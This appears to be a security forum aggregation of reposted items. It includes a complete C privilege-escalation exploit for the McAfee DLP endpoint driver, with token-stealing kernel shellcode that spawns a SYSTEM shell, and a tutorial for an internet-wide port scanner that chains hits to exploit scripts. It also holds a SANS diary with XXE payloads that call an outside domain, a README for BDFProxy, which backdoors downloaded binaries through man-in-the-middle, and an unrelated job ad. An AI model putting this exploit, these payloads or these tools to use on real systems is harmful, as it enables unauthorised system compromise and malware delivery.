Nytro

Adobe Reader X and XI for Windows out-of-bounds write in CoolType.dll Reported by mjurc.. @google.com (No comment was entered for this change.) [TABLE] [TR] [TD=width: 20] [/TD] [TD] signal_sigsegv_f753bec6_7517_6052.zip 2.0 MB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 6052.zip 1.9 MB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=144

[h=1]McAfee Data Loss Prevention Endpoint - Arbitrary Write Privilege Escalation[/h] /* Exploit Title - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation Date - 29th January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.mcafee.com Tested Version - 9.3.200.23 Driver Version - 9.3.200.23 - hdlpctrl.sys Tested on OS - 32bit Windows XP SP3 and Windows 2003 Server SP2 OSVDB - http://www.osvdb.org/show/osvdb/117345 CVE ID - CVE-2015-1305 Vendor fix url - https://kc.mcafee.com/corporate/index?page=content&id=SB10097 Fixed version - 9.3.400 Fixed driver ver - */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows Server 2003 #define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct #define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct #define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 }; BYTE token_steal_w2k3[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN 0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(?, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ?)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("McAfee Data Loss Prevention Endpoint (hdlpctrl.sys) Arbitrary Write EoP Exploit\n"); printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 3) { printf("[i] Running Windows Server 2003\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "devbkctrl"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); if (GetWindowsVersion() == 1) { memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } if (GetWindowsVersion() == 3) { memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3)); } hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00224014, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; } Sursa: http://www.exploit-db.com/exploits/35953/

NSCAN: FAST INTERNET WIDE SCANNER NSCAN: FAST INTERNET WIDE SCANNER Nscan is a fast Network scanner optimized for internet-wide scanning purposes and inspired by Masscan and Zmap. It has it's own tiny TCP/IP stack and uses Raw sockets to send TCP SYN probes. It doesn't need to set SYN Cookies so it doesn't wastes time checking if a received packet is a result of it's own scan, that makes Nscan faster than other similar scanners. Nscan has a cool feature that allows you to extend your scan by chaining found ip:port to another scripts where they might check for vulnerabilities, exploit targets, look for Proxies/VPNs... Nscan is a free tool, but consider donating here: 1Gi5Rpz5RBEUpGknSwyRgqzk7b5bQ7Abp2 Getting Nscan to Work Installing Nscan on Debian/Ubuntu boxes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]$ git clone https://github.com/OffensivePython/Nscan $ cd Nscan/nscan $ chmod +x nscan.py[/TD] [/TR] [/TABLE] Check if Nscan executes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [/TD] [TD=class: code]$ ./nscan.py Usage: nscan.py x.x.x.x/x [options] nscan.py iface load/unload : Load/Unload Nscan alias interface nscan.py resume filename.conf: resume previous scan Options: -h, --help show this help message and exit -p PORTS, --port=PORTS Port(s) number (e.g. -p21-25,80) -t THREADS, --threads=THREADS Threads used to send packets (default=1) --import=IMPORTS Nscan scripts to import (e.g. --import=ssh_key:22+check_proxy:80-85,8080) -b, --banner Fetch banners -n COUNT Number of results to get -o FILE, --output=FILE Output file -c N,T, --cooldown=N,T Every N (int) packets sent sleep P (float) (Default=1000,1)[/TD] [/TR] [/TABLE] Usage Nscan is simple to use, it works just the way you expect. If this your first run, you need to load nscan alias interface before launching a Scan ? [TABLE=width: 948] [TR] [TD=class: gutter] 1 2 3 4 5 6 [/TD] [TD=class: code]$ ./nscan.py iface load Press enter key to load nscan alias interface [....] Running /etc/init.d/networking restart is deprecated because it may not [warnable some interfaces ... (warning). [ ok ] Reconfiguring network interfaces...done. Nscan alias interface loaded: 10.0.2.16[/TD] [/TR] [/TABLE] Simple Scan To scan your local network for port 22,80: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p22,80 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [192.168.0.0 -> 192.169.0.0] (65536 hosts/2 ports) [MAIN] Starting the scan (Fri Jan 30 07:11:02 2015) ...[/TD] [/TR] [/TABLE] This scans the 65536 hosts in your local network Scanning the Entire Internet Scan the entire IPv4 address space for port 80 ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0/0 -p80[/TD] [/TR] [/TABLE] Multithreading the Scan use '-t' to specify how many sending thread you want to use, it decreases the elapsed time of the scan by n times: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3[/TD] [/TR] [/TABLE] This splits the 65536 hosts in 3 ranges (3 threads), every thread is going to scan 21845 host Grabbing banners and Saving logs in a file use '-b' to grab banners and '-o' to save logs in a file ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3 -b -o nscan.log[/TD] [/TR] [/TABLE] Scanning to find N results In order to stop the scan after receiving 10 results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p443 -b -n10[/TD] [/TR] [/TABLE] Importing Nscripts To import Nscripts, use '--import' with filename (without extension '.py') and specify the port and/or range of ports ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.161.152/24 -p1080 --import=proxy:1080 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [xxx.xxx.161.152 -> xxx.xxx.162.0] (104 hosts/1 ports) [MAIN] Starting the scan (Fri Jan 30 09:14:14 2015) [sEND] Sent: 104 packets [RECV] Received: 7 packets [MAIN] xxx.xxx.161.152:1080 [MAIN] xxx.xxx.161.173:1080 [MAIN] xxx.xxx.161.195:1080 [MAIN] xxx.xxx.161.196:1080 [MAIN] xxx.xxx.161.194:1080 [MAIN] xxx.xxx.161.239:1080 [MAIN] xxx.xxx.161.193:1080 [PROXY] xxx.xxx.161.152:1080 | SOCKS4 [PROXY] xxx.xxx.161.195:1080 | SOCKS4 [PROXY] xxx.xxx.161.196:1080 | SOCKS4 [PROXY] xxx.xxx.161.194:1080 | SOCKS4 [PROXY] xxx.xxx.161.193:1080 | SOCKS4 [MAIN] Packets sent in 0.0 minutes [MAIN] Total elapsed time: 0.7 minutes [MAIN] Done (Fri Jan 30 09:14:58 2015)[/TD] [/TR] [/TABLE] Every ip has the port 1080 open, will be chained to the Nscript proxy, which checks if a SOCKS service is running behind it. This will chain every ip:port that has the port 1080,3127,3128,3129 open: ? [TABLE=width: 679] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.xxx.xxx/xx -p8080,1080,3127-3129 --import=proxy:1080,3127-3129[/TD] [/TR] [/TABLE] P.S: Port 8080 will not be chained to the script, since it's not specified Suspending/Resuming a Scan If you have a large range of hosts to scan, and your bandwidth can't finish the scan really quick, You can suspend a scan and resume it later where it's stopped. To suspend a running scan, hit [CTRL]+C, Nscan will save where it's paused in 'resume.conf'. The resume configuration file looks something like this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 [/TD] [TD=class: code]$ cat resume.conf [NSCAN] hosts = [167772160, 184549376L] ports = [[80, 81]] threads = 1 imports = None banner = True count = None output = None indexes = [(16777216L, 4194304L, -249, 16776967L, 249)] cooldown = (1000, 1.0)[/TD] [/TR] [/TABLE] To resume a previous scan, simply type: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py resume resume.conf[/TD] [/TR] [/TABLE] Cooling Down the Transfer rate This is a very important option to regulate Nscan with your bandwidth, If you don't choose this properly, Nscan will probably knock off your router and force it to restart since it sends more traffic than your router could handle. You can specify the number of packets that needs to be sent before Nscan should cool down and sleep for a while ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 10.0.0.0./16 -p21-25,8080 --cooldown=100,0.1[/TD] [/TR] [/TABLE] This tells Nscan, "for every 100 packets sent, sleep for 0.1 second(s)" P.S: The size of one packet is 54 bytes If you have a gigabit Ethernet connection, you probably want to disable this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0./0 -p21-25,8080 --cooldown=[ANY],0[/TD] [/TR] [/TABLE] Write Your Own Nscripts Every nscan script should have a run() function, that takes two arguments: queue: queue where your script receives ip:port event: This tells your script that Nscan is completed the scan, and waiting for your script to finsish before it exits Make sure that your script is under '~/nscan/nscripts' folder. Every Nscript has this simple skeleton: ? [TABLE=width: 657] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [/TD] [TD=class: code]import Queue import logging # Import any module you need here def run(queue, event): while True: if queue.empty() and event.isSet(): # If the Scan is completed and the queue is empty (no more results) break else: try: ip, port = queue.get(False, TIMEOUT) # Should be non-blocking # Do something useful with IP:PORT except KeyboardInterrupt: # Scan suspended, should exit break except Queue.Empty: # No results pass[/TD] [/TR] [/TABLE] Use the logging module to output your results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 [/TD] [TD=class: code]SCRIPT = 'MYSCRIPT' logging.info('[{}] {}:{} | {}'.format(SCRIPT, IP, PORT, 'MY RESULTS'))[/TD] [/TR] [/TABLE] Fork me on Github Here is repository: https://github.com/OffensivePython/Nscan Contribute and Share your Nscripts Tips, Requests, Improvements to make Nscan more stable and faster are always welcome. If you want to share your Nscripts with everybody, tweet me at @offensivePython #Nscan with a link of your script, and i will add it under the nscript folder here Sursa: http://www.pythonforpentesting.com/2015/01/nscan-fast-internet-wide-scanner.html

In perioada 5-6 Februarie X, va desf??ura pentru Y, la sediu nostru un eveniment de recrutare. Acest eveniment implica un proces de recrutare rapid pentru oricine este interesat de o pozitie in X. Evenimentul costa in comasarea unei sesiuni de interviuri complete de la interviul tehnic, de HR, Project Management, discu?ia cu clientul si oferta X, comprimate in time frame-ul unei ore / 1h si jumatate de sesiuni de interviuri. Skills Required: 1. Good level of C/C++ 2. OOP, OOD principles 3. Embedded development experience (memory management, multithreading, asynchronous communications) 4. Development of UnitTests, SW functional tests for own code 5. Experience with code compiled cross platform: Fedora (PC), ARM as Target 6. QT experience is a plus 7. Automotive experience is a plus Cine e interesat imi poate da mesaj privat.

Archieves of POC201 POC2014 [TABLE=class: table table-bordered, width: 1045] [TR] [TD] Bo Qu, Royce Lu, @ga1ois, "Advanced Defense for Internet Explorer"[/TD] [TD][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Byoungyoung Lee, "Identifying Memory Corruption Bugs with Compiler Instrumentations"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Florian Grunow, "How to Own your Heart - Hacking Medical Devices"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] GilGil, "mVoIP Hacking"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] hotwing, "Hunting Zero Days in Crash Dumps"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] John C. Matherly, "Behind the Scenes of Shodan"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Karsten Nohl, "BadUSB — On accessories that turn evil"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] K-dupe, Hyunuk, Kibom, "Physical Memory File Extraction Based on File Object Analysis"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Matt, AbdulAziz, Jasiel , "Dropping the MIC (Medium Integrity Calculator): Pwning Internet Explorer for fun "[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Maxim Goncharov, "Be first to know about data breach of popular web sites"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] MJ0011, "Windows 10 Control Flow Guard Internals"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] passket & Team SNE, "Only True Love Can Thaw Frozen SCADA Systems"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Tombkeeper, "JavaScript VM breakout based exploiting"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Wei Yan, "Auto Mobile Malware, Attack Scenarios, and How to Defend"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [/TABLE] POC will show you only technical, creative and very interesting topics. Fuck off, marketing and commercial presentation! Sursa: POC2015 - We Trust a Power Of Community

Nu e asa periculos de RCE. Dar e mare riscul de Denial of Service. E usor de crapat un Exim: 1337Day Agreement - 1337day Inj3ct0r Exploit Database : vulnerability : 0day : new exploits : buy and sell private exploit : shellcode by Inj3ct0r Team Cum sa patch-uiesti manual?

Blindly confirming XXE by Bojan Zdrnja (Version: 1) Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it athttps://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications. Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files. In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not. So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option. Almost like blind SQL injection This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally: <DocumentLayer> <Document InternalID="1"> <DocumentPointer>Test</DocumentPointer> </Document> </DocumentLayer> Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe "Test"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool. The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied. So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application. So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched. -- Bojan @bojanz ?INFIGO IS Sursa: https://isc.sans.edu/diary/Blindly+confirming+XXE/19257

The Backdoor Factory Proxy (BDFProxy) v0.2 For security professionals and researchers only. NOW ONLY WORKS WITH MITMPROXY >= v.0.11 To install on Kali: apt-get update apt-get install bdfproxy DerbyCon 2014 Presentation: About 18 minutes in is the BDFProxy portion. Contact the developer on: IRC: irc.freenode.net #BDFactory Twitter: @Midnite_runr This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy. Concept: Patch binaries during download ala MITM. Why: Because a lot of security tool websites still serve binaries via non-SSL/TLS means. Here's a short list: sysinternals.com Microsoft - MS Security Essentials Almost all anti-virus companies Malwarebytes Sourceforge gpg4win Wireshark etc... Yes, some of those apps are protected by self checking mechanisms. I've been working on a way to automatically bypass NSIS checks as a proof of concept. However, that does not stop the initial issue of bitflipping during download and the execution of a malicious payload. Also, BDF by default will patch out the windows PE certificate table pointer during download thereby removing the signature from the binary. Depends: Pefile - most recent ConfigObj mitmProxy - Kali Build .10 BDF - most current Capstone (part of BDF) Supported Environment: Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy. Install: BDF is in bdf/ Run the following to pull down the most recent: ./install.sh OR: git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/ If you get a certificate error, run the following: mitmproxy And exit [Ctr+C] after mitmProxy loads. Usage: Update everything before each use: ./update.sh READ THE CONFIG!!! -->bdfproxy.cfg You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You'll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don't have to kill your proxy to change settings to work with your environment. But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally. Then: ./bdf_proxy.py Here's some sweet ascii art for possible phyiscal settings of the proxy: Lan usage: <Internet>----<mitmMachine>----<userLan> Wifi usage: <Internet>----<mitmMachine>----<wifiPineapple>))) Testing: Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup. Update your config as follows: transparentProxy = None Configure FoxyProxy to use BDFProxy as a proxy. Default port in the config is 8080. Logging: We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure. Attack Scenarios (all with permission of targets): -Evil Wifi AP -Arp Redirection -Physical plant in a wiring closet -Logical plant at your favorite ISP Sursa: https://github.com/secretsquirrel/BDFProxy

